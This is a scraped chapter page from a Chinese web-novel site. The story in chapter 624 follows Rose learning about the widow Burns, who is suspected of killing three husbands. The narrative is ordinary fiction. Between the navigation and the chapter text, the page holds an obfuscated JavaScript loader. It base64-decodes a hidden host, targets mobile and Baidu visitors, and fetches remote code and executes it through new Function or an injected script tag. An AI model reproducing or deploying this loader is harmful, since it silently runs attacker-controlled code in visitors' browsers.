妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第624章 Ch623 受诅咒的伯恩斯(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('罗兰托人找回了哈莉妲的弟弟,尸骸也因永寂之环的秘法保存良好。

可他不了解哈莉妲的情况。

据萝丝这些日子来的观察,哈莉妲没有办法‘放弃’自己的弟弟——她的精神受到了一定程度的损伤,胆怯与疯狂像一枚硬币的正反面同时加诸于她那脆弱的灵魂中。

它们撕扯她,也在天秤倾斜时保护她。

萝丝不清楚「铁骑」和「刺客」是否都是这样,可若把弟弟当成开关,实在太不‘稳定’了——就像昨天发生的事。

一旦哈莉妲这头猎犬发了狂,在平日相处的距离下,她们根本来不及做出有效应对。

「铁骑」对于身体的增幅要比「密卷」和「圣徒」强上不少。

至少在抵达高环以前,萝丝是不愿意被哈莉妲冷不丁来上一巴掌的。

所以。

她委托老汤姆打听,有没有能让尸骸‘便于携带’的仪式:虽然听起来有点异想天开,但老汤姆却给出了一个令人惊讶的答案。

‘当然有。’

他出了一个让萝丝有些熟悉的名字。

‘伯恩斯。’

女仆梅,死在牢里的梅森·莱尔,瓶中妖精。

哈莉妲加入茶话会的原因,她的过去。

作为一个伯爵家的仆役,女仆梅在这重故事中只是一个毫无意义的‘边角料’,能被再次提起,概因她所服侍的主人——

实际上,人们更应该称她为‘菲尔德夫人’或‘菲尔德女士’。

这朵远近闻名的黑寡妇有着传奇的前半生(很难说好坏),甚至一度被‘正派人士’认为受了诅咒:

她结过三次婚。第一任丈夫在她成婚当日死于一场车祸;第二任丈夫酗酒后,被斗殴波及,死于火枪;第三任,既‘菲尔德’先生,数年前病死在一艘远洋航船上。

三任丈夫都没能给她一儿半女,却留下了令人咋舌的财富和人脉。

‘伦敦的黑寡妇’。

人们这样称呼她。

比起夫姓菲尔德,他们更乐意称呼她本来的姓氏:伯恩斯。

‘因为无论她继承了谁的姓氏,早晚都只是「伯恩斯」。’

老汤姆这样给萝丝讲。

不少人曾怀疑她是否因为财产谋杀自己的丈夫,否则这三次死亡发生在同一个人身上,实在太过巧合——

首先,伯恩斯女士的丈夫们都少亲寡友,一旦死亡后,几乎没什么男性继承人能够接手他们的财富。

其次,伯恩斯女士并不像得了病,却多年没有子嗣。

很难说,这不是她刻意挑选的‘谋杀目标’,结婚只为了夺取男性的财富。

\x08当局曾一度介入调查,监视并长达半年的监视问讯,除了无法施展肉体上的折磨,他们尽己所能地发挥想象力,在另一面折磨她的精神,企图让她忏悔,道出究竟犯过什么样的罪。

可除了一些生活里、床笫间的阴私…

最终,他们什么都没能得到。

苏格兰场的介入损伤了伯恩斯的名誉,但也在某种程度上宣扬了这匪夷所思的案件,一个‘好运连连’的女人——

伦敦新闻画报几年前曾跟踪报道过这神奇事件,称其为《三个男人的悲剧,一个女人的奇迹》。

显然,谁都知道‘奇迹’代表着什么。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间